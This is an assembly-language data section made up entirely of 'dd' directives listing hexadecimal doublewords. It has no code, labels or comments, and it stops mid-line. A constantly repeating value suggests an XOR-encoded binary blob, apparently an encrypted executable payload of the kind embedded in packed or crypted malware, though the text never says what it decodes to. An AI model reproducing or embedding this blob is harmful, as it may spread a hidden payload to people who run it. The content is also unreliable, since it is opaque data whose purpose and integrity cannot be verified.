dd 75163BDCh, 0B2DC50BFh, 83F70FDCh, 0F4FC3CEAh, 0F8146418h dd 0A1FC3CF8h, 6B52062Ah, 0B3DC59C7h, 0D33008EBh, 0F14AB319h dd 0D4FF41FCh, 7775A42Bh, 0A4A43CCDh, 713FDB5Bh, 0F7EB2BD2h dd 0F4FC3CF9h, 0F4FC3091h, 589D65F8h, 59EBE1E7h, 0A13AD8AFh dd 5675158Eh, 0F4F98666h, 0ACAC3CF8h, 0F4FC3CFDh, 77A586F9h dd 6DA018CDh, 0C4D84070h, 0F0F95C71h, 7BFC3CF8h, 0F07F47B9h dd 0D69C00DCh, 83AB5040h, 749CDA87h, 4774A2B9h, 10C86D06h dd 0F039B92Eh, 0F4EEBFF7h, 0F8153CF8h, 0A6FC3CF8h, 57483ECEh dd 0B5968B4h, 0C5184699h, 357D5B71h, 0F4FC3CFDh, 77F87B7Bh dd 107B18F5h, 0C793DDDh, 0FFFC3CF9h, 0F4FC4A74h, 0F4F153F8h dd 1ABC3CF8h, 2F1FD8EAh, 7777F200h, 0DC737D7Ch, 0F4FC29C9h dd 7DD82071h, 0F038BA9Ch, 7BFC3CF8h, 287F47BCh, 0FD1500DDh dd 9FC3CF8h, 95745B3Eh, 41FAB49h, 4D20528Ah, 74F76C84h dd 0F4FC3CEFh, 0F4FC4A91h, 0E2748FF8h, 7F573E1Ah, 57E67CEBh dd 0BA7E507Eh, 0A9AAA4E7h, 0BEC74755h, 49088E8Fh, 72B37766h dd 5EFEAAB9h, 0ABB36422h, 7714BCF0h, 44867979h, 73490A90h dd 74877F79h, 513C519Ah, 0B212BCFBh, 74B16779h, 63FDA78Ah dd 0D325B42Eh, 0F4FEC7F7h, 0A2043CF8h, 0F4F8B2F4h, 74F73CF8h dd 0F4FC3CE6h, 61751680h, 10F9BB2Ah, 0EA08250Eh, 17851F20h dd 0D4A1E98Dh, 2CD0A41Eh, 0D04C4706h, 0AEF9DDBCh, 1DA1752Bh dd 0CA461E81h, 0A4D10E8Fh, 0FF96781Dh, 0F4FC317Dh, 0B29EDCF8h dd 759E2471h, 0D502AC91h, 0F4FEBBF7h, 0CB093CF8h, 0F4FC3843h dd 0C90C47F8h, 4CD50C5Dh, 91A16CD2h, 0D69C0129h, 7418B542h dd 0A39D519Eh, 5B75088Ah, 0F4F87966h, 0ACAC3CF8h, 0F4FC3CFDh dd 77A479F9h, 0FFA018E5h, 0F4FC457Eh, 0F57D3DF8h, 68FC3CF8h dd 0F4F5C6F4h, 0AF9C3CF8h, 0E851AE11h, 2007DA8Dh, 307D01DDh dd 0F4FC3CFDh, 6D4F3D18h, 0F87BDA85h, 577515DCh, 0F4F98566h dd 37433CF8h, 10C1C5FDh, 8247DC25h, 0D6C15EF5h, 0D5E21941h dd 0CED83787h, 0F4F87879h, 5D9C3CF8h, 0F4FC3CEBh, 450F961Eh dd 11B91166h, 64585538h, 834AA77Ah, 0CA9DF1FBh, 3A7D5A71h dd 0F4FC3CFDh, 0CAF87A7Bh dd 0F0D8F787h, 10F9BD22h, 5C04DC25h, 0F4FC3CF1h, 440D31D1h dd 6D7273C2h, 3E0E7166h, 0D5A74BC6h, 6F24C191h, 37046384h dd 1581F57Ah, 0F4FC47FCh, 37A3DF8h, 5DFC3CF9h, 0F4FC3CFFh dd 556033D1h, 75F76A9Ah, 0F4FC3CF5h, 0F4FFB3F7h, 82F73CF8h dd 0F4FC3CF9h, 0F4F85079h, 20753CF8h, 10F9BBDDh, 11054435h dd 0B814BB20h, 0D4D963E0h, 524F3D29h, 3632BC23h, 0F0440C06h dd 75FC3CF8h, 0C8CAD4B8h, 75033B0Eh, 0C8CAD490h, 7FF7040Eh dd 0F4FC3CE6h, 1BDCD381h, 0F8753CF9h, 0F4FDA3DCh, 65FD3CF8h dd 6DA543F8h, 1F76C770h, 83F745E0h, 0F4FC3CE6h, 4D6AB080h dd 0FFFF41F1h, 0F4FC3B7Bh, 584377F8h, 10C9B3FDh, 0CED83F84h dd 0F4793D18h, 0D5FC3CF8h, 0C42AF7Bh, 0FFFD45E0h, 0F4FF847Ch dd 4CCB63F8h, 0F4FBBAF4h, 33093CF8h, 0C47E3CA3h, 6CFC3CF9h dd 0F0FAB77Eh, 0A1545E3h, 94FC3CF9h, 7F80192Ch, 0E626ACEEh dd 0E7B43CA4h, 25659AD4h, 7703C92h, 5DFC3CF9h, 0F4FC3CEBh dd 1BDB754Eh, 98863189h, 71D246D3h, 6ABA3814h, 897B072Ch dd 0F7DDEF0Ch, 0F4FEB3F7h, 0D4043CF8h, 0D6AE6348h, 0D5A67173h dd 0F8D8D079h, 0FE0EFF82h, 0F8D800F9h, 0B80BAD2Fh, 0E8FD3D8Eh dd 5DA74CDCh, 0F4FC3CF2h, 0ACCD0F55h, 79AD505Bh, 0AE40A604h dd 4C7DDB9Fh, 0E70BDC04h, 0F6C75319h, 0AE9C3CF8h, 0FBD2B755h dd 10C86D19h, 0F039B924h, 0A97A848Dh, 0F5FF41E1h, 68FC3CF8h dd 0CAD84070h, 3A7D5A71h, 0F4FC3CFDh, 77F87A7Bh, 0FFA018EDh dd 0F4FC497Dh, 0F4F653F8h, 5053CF8h, 77156EB4h, 66151236h dd 36A9A00Bh, 0C6D83070h, 367D6671h, 0F4FC3CFDh, 77F9867Bh dd 5DA018CDh, 0F4FC3CE8h, 0F6B089A6h, 4AAC4B5h, 5B84433Ch dd 0CD4B2FC3h, 8383B855h, 7DA918CDh, 0F03ABA9Ah, 75FC3CF8h dd 0F4FC47BAh, 10D1C5F8h, 0F4F65325h, 0D92A3CF8h, 8192B116h dd 1335482Fh, 7DC14C30h, 34473D19h, 7DA9DA85h, 0F046159Ah dd 0F5FC3CF8h, 31430D8Dh, 10D1C5FDh, 2156425h, 0AFFC3CF9h dd 0C3F315Ch, 46E0BB93h, 46BC5352h, 7B006C84h, 13CD1F42h dd 70F73BFCh, 0F4FC471Eh, 0F4FC4491h, 1A82CCF8h, 16446C9h dd 1F76CFD0h, 749C45E0h, 0D6B3F9B7h, 0CDEA0847h, 5972B119h dd 5DFF41DEh, 0F4FC3CF0h, 788894FAh, 2372874Eh, 0D49A8186h dd 839E684Ah, 5D7DDA8Ch, 0BD32FED6h, 0D1817B79h, 4DFDEA42h dd 0D1815366h, 357DEA42h, 0BD32FED6h, 0FA713D18h, 0C6FC3CF8h dd 0F4FE5326h, 4E243CF8h, 68D8D8CDh, 3A3EBB06h, 759B9D31h dd 38AB9D9Eh, 750513DFh, 38AB9DA6h, 3A16BBDFh, 0FF9B9D31h dd 0F4FC4B7Ah, 0F4F053F8h, 33B53CF8h, 0CE1380BDh, 0D9F06F60h dd 0B3AC98B8h, 0F4FC3CFAh, 0F4A17B79h, 4DD51744h, 0F4A15366h dd 0FFAB1744h, 0F4FC577Fh, 0F4EC53F8h, 0A82D3CF8h, 0D906CFC2h dd 58F278B3h, 0AA65046h, 4494494Eh, 7DFC3C02h, 5D5318E5h dd 0D4A48471h, 0FF157173h, 51FC3CF8h, 44304575h, 0C20C5977h dd 0B7C028EEh, 0A29D1A7Dh, 0F4FC339Eh, 2D7AAF8h, 2979D655h dd 0B917D46Ah, 0F0753CF8h, 0CDA40BDCh, 0F4FEB0F7h, 0A3053CF8h dd 0F4FC449Eh, 4A5813F8h, 11D66492h, 0F11DB329h, 0F4FC3CFCh dd 77F87C7Bh, 107B18FDh, 78F7DCDDh, 0F4FC3CF8h, 5D638678h dd 0F4FC3CFCh, 2B0CFAE9h, 0D553E3BEh, 0D3D83787h, 0F4F87879h dd 83003CF8h, 7DA918F5h, 0F03ABA9Ah, 75FC3CF8h, 0F4FC47BAh dd 10D1C5F8h, 0F4F15325h, 0E78C3CF8h, 87A6109Ch, 1E4641Fh dd 8303297Bh, 7DAC18CDh, 0F4F84699h, 34433CF8h, 10F9C5FDh dd 0F4F25325h, 0FD373CF8h, 0AE12C8B2h, 0CD0951FDh, 0C64ED2EFh dd 47545A4Fh, 751EB3D6h, 0F4FC47A6h, 0F03EB9F8h, 83D8307Fh dd 7EF718DDh, 0F4FC3CF3h, 0F4FC4691h, 905871F8h, 9815DF14h dd 6D076CACh, 0E988C6BCh, 0F4C245D9h, 0C5093CF8h, 43756B71h dd 7BD83070h, 0F71547BDh, 60FC3CF8h, 9D671A0Bh, 0A6F0C901h dd 0F5433DF7h, 6CFC3CF8h, 0FF7C6379h, 0F4FDBC7Bh, 0F7433DF8h dd 0FFFC3CF8h, 0F4FC3B7Dh, 637D60F8h, 0D467D35Bh, 0ACAC71F9h dd 0D467D35Bh, 6CA479F9h, 0F4FC449Eh, 0D58684F8h, 0E51A7136h dd 6F00A22Ah, 4BD56C84h, 0F115DC23h, 3AFC3CF8h, 26A0DBCCh dd 0F4F35319h, 13663CF8h, 67E4119Fh, 255DB2h, 0FCA82ED3h dd 57063293h, 5D9DDB5Eh, 0F4FC3C50h, 0F4F25418h, 0EB2E3CF8h dd 0CFA32A34h, 0BA745073h, 27CCB679h, 0C5983D31h, 0CD34B5F7h dd 290AA21Eh, 0ABB30A06h, 74036E4Eh, 4E741FB8h, 0B31FBC20h dd 1CA35E79h, 5D9C01B6h, 0F4FC3CF7h, 9F0BB486h, 70940200h dd 6AEBF2E4h, 0FF9DB567h, 0D59C6A47h, 0B2B2DB19h, 0F4FC3CF9h dd 457572D1h, 7BD84870h, 7B0047BDh, 28754795h, 0F400ADDDh dd 6DDD3CF8h, 0F715DC24h, 4FC3CF8h, 3004E983h, 0FF9C69BFh dd 0F4FC3C72h, 1CFCA4F8h, 0D59DFFF7h, 139CAD2Fh, 73FD1E8Dh dd 753B1324h, 60EBD890h, 0F77B3DD2h, 0D4FC3CF8h, 0B3AF7040h dd 8304DBEEh, 13D0B37Ah, 0F77D3DFCh, 0FFFC3CF8h, 0F4FC3B7Ah dd 817B77F8h, 0F7EB33AEh, 0F4FC3E91h, 0DC7F02F8h, 0AFF66AD3h dd 0FA25A76Fh, 33168DB2h, 0FF076C80h, 0F4FC327Bh, 0CFACDCF8h dd 0F4FDB0F7h, 379D3CF8h, 1581F57Ah, 0F4FC3AFCh, 0C1AE77F8h dd 0CAEBD245h, 10903BDCh, 75AB0FFDh, 0CAEBD190h, 839EDCDCh dd 0F4F752B6h, 0CAFE3CF8h, 87DC9BA1h, 0CD0A6AAAh, 0F08A6936h dd 0A6F7DB0Fh, 0F5743DF7h, 6CFC3CF8h, 0FF7C6379h, 0F4FDC77Bh dd 637D77F8h, 0C29C3764h, 1B2B5179h, 43FD1A74h, 1B2B7966h dd 3B7D1A74h, 0C29C3764h, 0F4FC4591h, 0E76512F8h, 0C77907BFh dd 0F4FC3B47h, 0CF0B3BF8h, 3A7BE618h, 0BCCE2141h, 815DBF4h dd 0D4FC3CE6h, 0F4EAB0F7h, 4153CF8h, 0E3FC3CF9h, 0B176CE14h dd 765F1793h, 0D1BE3EE0h, 0FF3A6057h, 0F4FC3A7Eh, 0D5A615F8h dd 0F4F35418h, 279C3CF8h, 5E1F9494h, 76DE9405h, 0C91FDA12h dd 83D96F0Bh, 0F4753DEBh, 0CFFC3CF8h, 0A4ACDA81h, 6E2C7677h dd 0F82475B9h, 207337B7h, 833D1458h, 307D18FDh, 0F4FC3CFDh dd 0F4FC4891h, 23309DF8h, 0FA1DC220h, 0CC60127Ah, 0ED84A7B8h dd 852A770Ah, 6C94152Bh, 0CFF30AC8h, 135C7579h, 470FE5DDh dd 475F5D66h, 7276B17Eh, 773A1324h, 71F70256h, 0F4FC3CF3h dd 5A7DE618h, 6A7CFF3Bh, 5843DA91h, 10C9B3FDh, 0F1A0AF47h dd 0F73FBB18h, 758F6ACFh, 0FFAC109Fh, 0A0FBB0Bh, 35D782D0h dd 667D459Fh, 0E7B67804h, 0D4A66BD9h, 0F4FC4991h, 1DED11F8h dd 329BC92Eh, 0FD9D8C27h, 86A41A2Dh, 0D551F601h, 2705AD2Fh dd 73FD1AA5h, 753B1324h, 48CF6390h, 0F914DCC6h, 33FC3CF8h dd 7D03040Ah, 5A37EB89h, 48A4D729h, 75F7038Eh, 0F4FC3CFFh dd 0F4FDB9F7h, 839D3CF8h, 13D0B37Ah, 0F57D3DFCh, 6CFC3CF8h dd 0FC26D770h, 6D9C45E3h, 1942B906h, 0F5FF41F6h, 6799B8F7h dd 5D9C6C84h, 0F4FC3CFAh, 0CAD63238h, 0CF0ABC09h, 0FF242119h dd 0F4FC1A7Ah, 0F4FE53F8h, 50CD3CF8h, 2EBD37C2h, 76F089CEh dd 6F075E0Ah, 0F4FC319Eh, 0D38E86F8h, 94168040h, 0C742B968h dd 0A5809947h, 0D538BB2Dh, 75B265C2h, 8C4A4694h, 0CF063B5Ch dd 0F4F8C5F7h, 7FF73CF8h, 0F4FC3CE6h, 2E3AD384h, 20753CF9h dd 7EF703DDh, 0F4FC3CEAh, 0F4FC4B91h, 51C450F8h, 0DF5A1EEBh dd 3D03ABh, 41963D2Bh, 5D7D640Bh, 0E61710F7h, 21DC5379h dd 6DD53FC3h, 21DC7B66h, 357D3FC3h, 0E61710F7h, 0F011BA80h dd 7DFC3CF8h, 0F14B18E5h dd 1DFC3CF8h, 21500AEh, 56FC3CF9h, 0A50447E5h, 3CFE5C47h dd 5D4D0ABCh, 7C30B428h, 5DA50081h, 0F4FC3CFFh, 0BE47954Fh dd 0D45A4172h, 0F4FC3C91h, 5B749F8h, 0E5A5993Ah, 36452D4Dh dd 0D00AC022h, 0F4C3C7F7h, 0D3AC3CF8h, 25342B19h, 5D342AA6h dd 0F4FC3CEDh, 77E65C1Eh, 626E6215h, 0F26CD3E7h, 0EC5CA7FBh dd 501C1F85h, 5156450h, 8AFC3CF9h, 0B2D43BE7h, 5076713Bh dd 0B7EE5D69h, 0A21B08B7h, 6F33219Eh, 0A7F7DB84h, 0B3B3DABFh dd 0F4FC3CF9h, 0FB7A69F9h, 75D84073h, 0F4FC47BDh, 0F4F053F8h dd 0A4AF3CF8h, 5DB4FAACh, 0B05699DDh, 5CC0028Fh, 0F4AEB8F4h dd 5C9C3CF8h, 0F4FC3CFFh, 70F8C84Ah, 0B29E76A5h, 0D6A62FE8h dd 67BB8C79h, 0F4F45306h, 0B56E3CF8h, 0A2EBDAE1h, 0F49475B3h dd 83FC3CF8h, 304318FDh, 78F7DCFDh, 0F4FC3CFDh, 3CF4A41Eh dd 785AE1Fh, 0F52E5306h, 759C3CF8h, 9CBC5AB8h, 567DE604h dd 0C49DD059h, 0F0F95C71h, 7BFC3CF8h, 0F07F4791h, 87500DCh dd 75AE63DDh, 0ED6418D5h, 87BEC2Ch, 0F039B9DDh, 0ED647979h dd 0B15EC2Ch, 12FC3CF9h, 0CE99C64Fh, 0A23F9FA2h, 0D1A123CCh dd 0F0FF484Ch, 587EABDAh, 0F4FC3CFDh, 0ADD83071h, 0F4FC3CE6h dd 0DC36BF9h, 954CDC2Eh, 0D533ADF4h, 0F48B1A10h, 10F9B3F8h dd 0F4FC4741h, 0CC033BF8h, 0F4FBBFF7h, 759C3CF8h, 0DB2199A3h dd 0D556ACD8h, 0F4FEB9F7h, 0CB003CF8h, 746BB62Ah, 567CD88Fh dd 943FBC37h, 7CAA6971h, 0FF1500A1h, 0E3FC3CF8h, 1B772595h dd 56B63A0Dh, 98E9B1DCh, 5D5A5D81h, 0F4FC3CF3h, 6347E326h dd 0C722219Fh, 0B2B269CDh, 0D14501C5h, 1DAB89F9h, 2814BA80h dd 5D9AA320h, 0F4FC3CEBh, 2CB8A296h, 0EE95484Fh, 0FB815909h dd 0DAE5FB6Eh, 0C7AE92E3h, 45A78A10h, 5F7D0D06h, 0D85F01FFh dd 0FB345D79h, 6D7577D2h, 0CD3B1324h, 0F4FC4891h, 76D986F8h dd 127F1033h, 78FB6E3Ah, 0A32DFC12h, 0E2A21600h, 0F011BB28h dd 7DFC3CF8h, 0D3A418E5h, 83F09080h, 0F4FC3CE4h, 0F33AA118h dd 0B151289h, 7CFC3CF9h, 0AF4076Dh, 8E671B48h, 796B2F23h dd 9A05F4F6h, 0D49DFD58h, 0F4FC3291h, 0BF14DAF8h, 11AB40E4h dd 367B646Eh, 10E1B106h, 751FB32Fh, 0F4FC47BFh, 0F03FB9F8h dd 0C8D8287Fh, 0F4FC4691h, 3361CF8h, 59470C5h, 7DFC3CE9h dd 0F14718C5h, 0F5FC3CF8h, 0FF040C86h, 0F4FC3B79h, 0B2B277F8h dd 0F4E50133h, 0F0D77A79h, 427D330Eh, 2C6BEC89h, 0EC695266h dd 5A3D60ADh, 7C03BBFFh, 67A929E9h, 0E613BAABh, 7DC4F1EEh dd 0F91501A9h, 0A8FC3CF8h, 15A3D503h, 782D0101h, 294FE4A8h dd 0F57A3CB8h, 61FC3CF8h, 751CB328h, 0F4FC47B8h, 0F014B9F8h dd 0C8D8407Fh, 5DD83071h, 0F4FC3CF2h, 8BF7FFF1h, 1F96F2B9h dd 3F971647h, 2607E590h, 10D1BB1Fh, 839ED11Eh, 304318FDh dd 0DDF9E6FBh, 759EDC13h, 0FFE405B6h, 0F4FC3877h, 0DC45E6F8h dd 3BC0DB29h, 0F5F8B8F4h, 4153CF8h, 6BFC3CF9h, 5C6B8916h dd 4DABFC6Ch, 51981884h, 6814D37Fh, 70F771C5h, 0F4FC3B9Eh dd 0F07E3D18h, 0D6FC3CF8h, 0C76E2E42h, 14738B79h, 0D5A4239Dh dd 70F77AC4h, 0F4FC3BF7h, 0F4F0B1F7h, 2153CF8h, 81FC3CF9h dd 1A218087h, 0C0A20BAEh, 0FF3A20E4h, 0F4FC6B7Ch, 299E63F8h dd 70F72684h, 0F4FC3BE2h, 0F4FBB9F7h, 0F1153CF8h, 0B9FC3CF8h dd 7B01B628h, 1EC1E58Eh, 0B0793C84h, 0FFFC3CF8h, 0F4FC3B75h dd 0ADAD77F8h, 0F4FC3CFBh, 0F57A6BF9h, 7BD83073h, 0D60447BDh dd 0D6AC1710h, 0ABD84071h, 0D6241B89h, 0F4EC5323h, 70583CF8h dd 0D261D8E0h, 6618C702h, 9E73A049h, 94C0422Eh, 0F412B8F4h dd 83053CF8h, 7DB218F5h, 0F003BA9Bh, 75FC3CF8h, 0F4FC47BBh dd 10E9C5F8h, 5147DC25h, 75833474h, 6FBCA1A6h, 0F494DBFFh dd 83FC3CF8h, 304318FDh, 0F6793DFDh, 0D4FC3CF8h, 527BE584h dd 0F5655306h, 7CF73CF8h, 0F4FC3CE6h, 6C352A81h, 0EBA429h dd 3CD9D849h, 67F96B11h, 212C74A9h, 73B76C8Ch, 0FFA47BDEh dd 0F4FC3D7Fh, 0F4FA53F8h, 0D7473CF8h, 0F96D271Bh, 0FAFC3CF6h dd 0F4FDCF91h, 0F7743DF8h, 0D4FC3CF8h, 8334ADF7h, 0DCA9DAB4h dd 0F884411Bh, 75D81073h, 0F4FC47BDh, 943ABBF8h, 7D0CC49Dh dd 5D9C0E9Eh, 0F4FC3CFAh, 43496755h, 0D615DA90h, 0FFFC3CF8h dd 0F4FC3472h, 0FA793DF8h, 0D4FC3CF8h, 0AA411719h, 0ADBC7DDBh dd 0AFCD8F2Dh, 0BBB47B66h, 5DFD082Bh, 0BBB45366h, 0D4A1082Bh dd 0D620ADF7h, 5D9D7473h, 0F4FC3CF6h, 5D7DE618h, 7B9E84A1h dd 0F0754795h, 0F4F8A4DCh, 35753CF8h, 7EF76421h, 0F4FC3CEAh dd 344F3D18h, 0F4FC309Eh, 288642F8h, 0C94E18B6h, 0F9597FF4h dd 0D4586919h, 0F4FC3391h, 52711F8h, 44B3848Ah, 0FF9D646Dh dd 0F4FC4673h, 839EDCF8h, 839D76A6h, 13F58372h, 3D7977FCh dd 0F4DCC7F4h, 5C9C3CF8h, 0F4FC3CFAh, 5748AFAh, 3E7BE67Eh dd 0FB08BC27h, 4D4AB319h, 5DFF41F1h, 0F4FC3CFAh, 8D330Ch dd 10F1B0BBh, 751EB3D6h, 0F4FC47A6h, 0F03EB9F8h, 0C8D8307Fh dd 0F4EDB9F7h, 3153CF8h, 0FAFC3CF9h, 7CEC4C30h, 2C2F9CFFh dd 60943624h, 7DFC3CEDh, 0A79418EDh, 0D2AA6C0Ch, 0B9707279h dd 6A7D051Ch, 0CF08ED47h, 0FFAB8C71h, 0F4FC4A78h, 0F4F153F8h dd 31113CF8h, 3238D04Eh, 8C1F3491h, 0FF63F1C5h, 0F4FC3E7Dh dd 0F4F553F8h, 60D63CF8h, 40062787h, 3B337963h, 0F4FC3D9Eh dd 8AFC6CF8h, 6558153h, 0AB8B9C43h, 0D6893C7Eh, 839E3587h dd 307D18FDh, 0F4FC3CFBh, 0F4FC3F91h, 0F3F0A7F8h, 725B9082h dd 0E47FA2DDh, 0FF03207Dh, 0F4FD527Ch, 0FC15DCF8h, 14FC3CF8h dd 9A65FD70h, 0D5733A78h, 0F4FC3191h, 75CD58F8h, 0AFA8E70h dd 0C55ACDF7h, 7CAD8770h, 0CC3CB391h, 0F5753D21h, 68FC3CF8h dd 0A1ADE58Eh, 0D61B1B89h, 75D83073h, 0F4FC39BDh, 3E44DCF8h dd 0FFABED8Ch, 0F4FC4679h, 0F4423DF8h, 0D5FC3CF8h, 0FF8C6178h dd 0F4C3547Ch, 83F7DCF8h, 0F4FC3CECh, 0F4FC4991h, 22D68CF8h dd 0EA007536h, 0B31BFAE2h, 0CA775DC4h, 0B2112550h, 0C38C9FD2h dd 0FF00DC19h, 0F4FC3978h, 377BE6F8h, 0FF152006h, 0F4FD167Ch dd 0F61564F8h, 76FC3CF8h, 0BD32B402h, 0FF1B20C9h, 0F4FDFA7Ch dd 3AC060F8h, 0F5C6B8F4h, 2153CF8h, 2CFC3CF9h, 0E519B76Dh dd 5DA74B11h, 0FF3B2056h, 0F4FD1A7Ch, 0AFF7DCF8h, 0F4E852A0h dd 7B9F3CF8h, 0E56C66F6h, 60CE4305h, 531B19BFh, 0E2251F0h dd 0D69D7DD6h, 0FFD96DC5h, 0F4FC627Ch, 0F9433DF8h, 5DFC3CF8h dd 0F4FC3CF1h, 0B5479CE6h, 89D3BD89h, 70F772C5h, 0F4FC3BA4h dd 0F4FBB1F7h, 0F1153CF8h, 61FC3CF8h, 33C869C9h, 70F759C5h dd 0F4FC39C6h, 0F4F5BCF7h, 82F73CF8h, 0F4FC3CFBh, 299EDB18h dd 71F76DD7h, 0F4FC3C7Ah, 0F4FC4A91h, 0D5DB3FF8h, 741E1B70h dd 88AEBFC0h, 362FFD5Eh, 0B2B22C28h, 0F4FC3CFBh, 0C30E7A79h dd 6AFDDDEDh, 0C30E5266h, 0FA7ADDEDh, 9763D22h, 0FFFC3CF9h dd 0F4FC5572h, 0F4F253F8h, 61FB3CF8h, 0EB53180Eh, 945F0E03h dd 0CA878446h, 1000EB19h, 669BAA2Bh, 4863BBABh, 0CB9E7187h dd 72FC0F4Fh, 44DC011Fh, 0AD9EDC23h, 70F77C66h, 0F4FC3CFAh dd 973CBB1Eh, 94C0DB2Bh, 0F4CEB8F4h, 0D69C3CF8h, 61392046h dd 55471506h, 7584562Ah, 6A95A8Ch, 8305B301h, 304318C5h dd 0F4FB53FDh, 8F1D3CF8h, 0C7C91927h, 121C3A66h, 0F48152B1h dd 7D043CF8h, 13F5834Ah, 7E3DFCh, 5DFC3CF9h, 0F4FC3CF4h dd 4835DD78h, 94C82231h dd 826D438Dh, 5DBD8D6Dh, 0F4FC3CF7h, 562D1726h, 0E648C2C9h dd 988857CAh, 897298A1h, 0F7DD839Ah, 0F4FC3D91h, 0C4E55DF8h dd 52A7101Ah, 47F4EC08h, 5DD1E07Eh, 0F4FC3CFCh, 1363AC64h dd 6F9961D3h, 7400DBA8h, 0DC9DD0B7h, 0F4FC3CF9h, 75D83873h dd 0F4FC47BDh, 0FC743DF8h, 0FFFC3CF8h, 0F4FC3A72h, 3B9DDCF8h dd 0D14ED38Eh, 0F0753CF8h, 0F81560DCh, 67FC3CF8h, 6BDE031Bh dd 70FCE9ABh, 6F74428Ch, 0F07B4C0Fh, 0F039B9DCh, 0FD7AB280h dd 0FFFF41D4h, 0F4FC4376h, 0F4E853F8h, 3BC73CF8h, 7949C01Fh dd 6925B65Dh, 2CC7A5B5h, 47E8C00Ch, 2000BA67h, 307D04DDh dd 0F4FC3CFDh, 21A6AD18h, 657CDEC5h, 0C794DB1Bh, 7DFC3CF0h dd 84518F5h, 0F5FC3CF9h, 790002B6h, 13F49F42h, 214DCFCh dd 30FC3CF9h, 0F155BB82h, 40266384h, 7CF70EC3h, 0F4FC3CF8h dd 0D5B17C78h, 0AE9EDC55h, 0AD9E668Bh, 0F19D32ECh, 0B4AAF245h dd 10D8F8FBh, 0C242AF2Ah, 5CD5FC22h, 71F7DC22h, 0F4FC3CF5h dd 0F4FC4491h, 3C490CF8h, 1BF7055h, 5D9D9106h, 0F4FC3CF3h dd 49145C78h, 4216F014h, 0B29F972Bh, 0FF9D6A0Dh, 0F4FC4A79h dd 0F87E3DF8h, 5DFC3CF8h, 0F4FC3CFCh, 2A74038h, 79967558h dd 13CEC342h, 0F4FA53FCh, 0ECF63CF8h, 958AC2C6h, 9B1759E0h dd 79F09E85h, 0F4FC3CE7h, 0F4ED5318h, 0DD903CF8h, 31780E3Eh dd 858D0013h, 61C50D46h, 0FFF41F24h, 0F4FC3C7Ah, 0AFAFDBF8h dd 0FDA327D3h, 0FBA764D1h, 0F1D8183Ch, 0FDA327D2h, 0F4F7C7F7h dd 0FF9C3CF8h, 0F4FC3C70h, 0B93EBBF8h, 0D5B7A2D7h, 751FB32Eh dd 0F4FC47BFh, 0F017BBF8h, 77FC3CF8h, 7DA018CDh, 78F718FDh dd 0F4FC3CF2h, 0F47F3D18h, 0D6FC3CF8h, 8C437B79h, 79019106h dd 13D6D742h, 0F87B3DFCh, 0FFFC3CF8h, 0F4FC4679h, 0F4753DF8h dd 99FC3CF8h, 0F4F5B0F4h, 79F73CF8h, 0F4FC3CFBh, 0C3D1DB18h dd 0FBB7BCCEh, 0CAD4183Ch, 74CEF142h, 0D22C3B37h, 0F4FEBDF7h dd 0A3053CF8h, 447BE619h, 0D59F7779h, 0CED83787h, 68F8787Bh dd 0F4FB52B8h, 9BD03CF8h, 0CD1FDE36h, 0D89860C9h, 0B19ED3B9h dd 20753CF8h, 839EDCDDh, 315DA81h, 0F4FC3CF9h, 1D257FE0h dd 0E4BA0A56h, 89710F61h, 0F7DD948Fh, 0F4FC4A91h, 2811E3F8h dd 23309CB7h, 0FA1DC220h, 0CC60127Ah, 4B00A7B8h, 69CB5281h dd 619C6C84h, 7B9D7470h, 15819142h, 70F73CFCh, 0F4FC3CF6h dd 0F4F1B9F7h, 0F7153CF8h, 0E9FC3CF8h, 0F016EEC4h, 41558E3h dd 8DFC3CF9h, 2AECBD6Fh, 527E37A9h, 0A9D25E3Dh, 79377BCAh dd 1424B27Ah, 440760FCh, 74FCD381h, 0FF9C3CF9h, 0F6156347h dd 0C7FC3CF8h, 54DACC02h, 76F7DBDCh, 0F4FC3CE1h, 0F4F3B9F7h dd 0F9153CF8h, 7FFC3CF8h, 76EF47DAh, 1CB968F0h, 0BE9B8DE7h dd 6F093C12h, 13D55F4Ah, 0FF9C64FCh, 0F4FC387Bh, 0A64BE6F8h dd 8107DA85h, 0F7EB3F52h, 0F4946F84h, 0D4FC3C78h, 0F4C3C6F7h dd 0D59C3CF8h, 0F4FC4591h, 0A51CF8h, 0D5653F53h, 74F73C12h dd 0F4FC3CFFh, 0C710A918h, 74F7DB26h, 0F4FC3CFCh, 457DE618h dd 6F9D2228h, 13DC6B4Ah, 810760FCh, 0F7EB3F52h, 74FCD380h dd 0F6153CF9h, 0F3FC3CF8h, 160996FCh, 68FCD199h, 17D6B684h dd 6F0445E0h, 13F29F6Ah, 839EDCFCh, 0A971DAA1h, 0F7DDD1F6h dd 3C18BB18h, 68ED6449h, 3072BF06h, 0D4FF1B09h, 0B325BB1Eh dd 0F4FE5395h, 6FFE3CF8h, 0F9CEA38Fh, 5D9D0D81h, 0F4FC3CF3h dd 8AF79DFFh, 0AEFAAA01h, 144FE95h, 0FF09F37Bh, 0F4FC4576h dd 737BDCF8h, 0D508B5F4h, 0EDEE5379h, 357DE801h, 0B1D8D392h dd 5D7D63D1h, 0B1D8D392h, 0EDEE7B79h, 83F7E801h, 0F4FC3CF8h dd 7B9D7718h, 15819142h, 70F73CFCh, 0F4FC3C6Ch, 3C2C45C8h dd 6C89F33Ch, 0F1E2AF72h, 0A17145DAh, 0F7DDDC8Bh, 0F650BF75h dd 3FDB45DAh, 6BF95378h, 7934B15Dh, 144A1B42h, 0D72BFFCh dd 0ACFF1BFEh, 0A5D21643h, 5D3D7DD0h, 44FF2BFBh, 0F038B8B1h dd 790EF731h, 1AFFAB42h, 644ABFFCh, 79FF1BFFh, 1AFE5272h dd 7B3711FCh, 9013469Eh, 0D0E6AF72h, 797145D9h, 0F7DDD273h dd 698BA040h, 3537110Ah, 0F7CD399Eh, 374373A8h, 6689F3FDh dd 0F61BAF72h, 0A17145DAh, 0F7DDE752h, 0F7DCBF75h, 3FDB45DAh dd 6BF95378h, 7924B15Dh, 1581E142h, 972BFFCh, 0ACFF1AFAh dd 2AE9E63Dh, 5D3D7DD0h, 44FF2BFBh, 0F038B8B1h, 680EF731h dd 0A7F77719h, 587DDAB1h, 0F4FC3CFDh, 0CCD83871h, 4542B881h dd 0F4FF41E0h, 0A943330Dh, 0F7EB4CAAh, 0C4E5E8F8h, 0AC3DB12Bh dd 0F4FC3896h, 0BEEC771h, 897145E0h, 0F7E290E4h, 0CCA48887h dd 0F2AAF7Bh, 0E0FC45E0h, 0ACB30CEFh, 0F4FC3896h, 0BEEC771h dd 897145E0h, 0F7E293B9h, 0CCA48887h, 0F4F5BBF7h, 829C3CF8h dd 0AD46E58Dh, 0C409DB1Bh, 5FD81079h, 